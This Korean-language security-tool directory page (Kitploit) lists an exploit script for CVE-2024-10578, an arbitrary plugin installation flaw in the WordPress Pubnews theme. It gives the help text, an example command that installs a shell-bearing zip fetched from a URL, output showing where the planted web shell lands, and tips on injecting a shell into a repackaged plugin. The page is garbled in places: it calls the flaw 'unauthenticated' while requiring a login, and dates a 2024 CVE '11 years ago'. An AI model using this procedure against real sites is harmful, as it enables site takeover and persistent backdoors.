Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-10578 — Pubnews <= 1.0.7 - 인증되지 않은 임의의 플러그인 설치 | Kitploit
도구/GitHubGitHub/nxploited/cve-2024-10578
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubnxploited/cve-2024-10578

CVE-2024-10578

Pubnews <= 1.0.7 - 인증되지 않은 임의의 플러그인 설치

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-10578: Pubnews <= 1.0.7 - 인증되지 않은 임의 플러그인 설치

설명

WordPress용 Pubnews 테마는 1.0.7 이하 모든 버전에서 pubnews_importer_plugin_action_for_notice() 함수에 대한 기능 확인이 누락되어 인증되지 않은 임의의 플러그인 설치에 취약합니다. 이 취약점으로 인해 구독자 수준 이상의 접근 권한을 가진 인증된 공격자가 임의의 플러그인을 설치하여 다른 취약점을 악용할 수 있습니다.

CWE

  • CWE-434: 위험한 유형의 파일 무제한 업로드

CVSS

  • 점수: 8.8 (높음)
  • 버전: 3.1
  • 벡터 문자열: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

익스플로잇 스크립트: wordpress_exploit.py

이 스크립트는 Pubnews 테마의 취약점을 악용하여 제공된 URL에서 임의의 플러그인을 설치합니다. 플러그인에는 악성 셸이나 다른 페이로드가 포함될 수 있습니다.

사용법

root@kitploit:~

CVE-2024-10578.py [-h] -u URL -un USERNAME -p PASSWORD -url_zip PLUGIN_URL

Pubnews <= 1.0.7 - Unauthenticated Arbitrary Plugin Installation # By Nxploited, Khaled alenazi

options:
  -h, --help            show this help message and exit
  -u, --url URL         The URL of the WordPress site
  -un, --username USERNAME
                        The username for WordPress login
  -p, --password PASSWORD
                        The password for WordPress login
  -url_zip, --plugin_url PLUGIN_URL
                        The plugin URL to install (must be a zip file with the shell injected inside)

예시

root@kitploit:~
python 
CVE-2024-10578.py -u http://target/wordpress -un admin -p admin -url_zip http://target/shell1.zip

출력

root@kitploit:~
[+] Logged in successfully.
[+] Admin _wpnonce extracted: 6bf22371ab
[+] Plugin installed successfully.
[+] Plugin extracted. You can find the shell here: /wp-content/plugins/shell1/

중요 참고 사항

  • 플러그인 URL은 셸이나 다른 페이로드가 포함된 zip 파일에 대한 직접 링크여야 합니다.
  • 기존 WordPress 플러그인을 사용하여 그 안에 셸을 주입한 후 다시 압축하는 것이 좋습니다. 이 zip 파일을 직접 링크에 업로드하여 익스플로잇에 사용하십시오.

⚠️ 면책 조항

이 스크립트는 교육 목적으로만 제공됩니다. 저자는 불법 활동에 이 스크립트를 사용하는 것을 용납하지 않습니다. 책임감 있게 사용하고 명시적 테스트 허가를 받은 시스템에서만 사용하십시오.

제공: Nxploited | Khaled Alenazi

도구 다운로드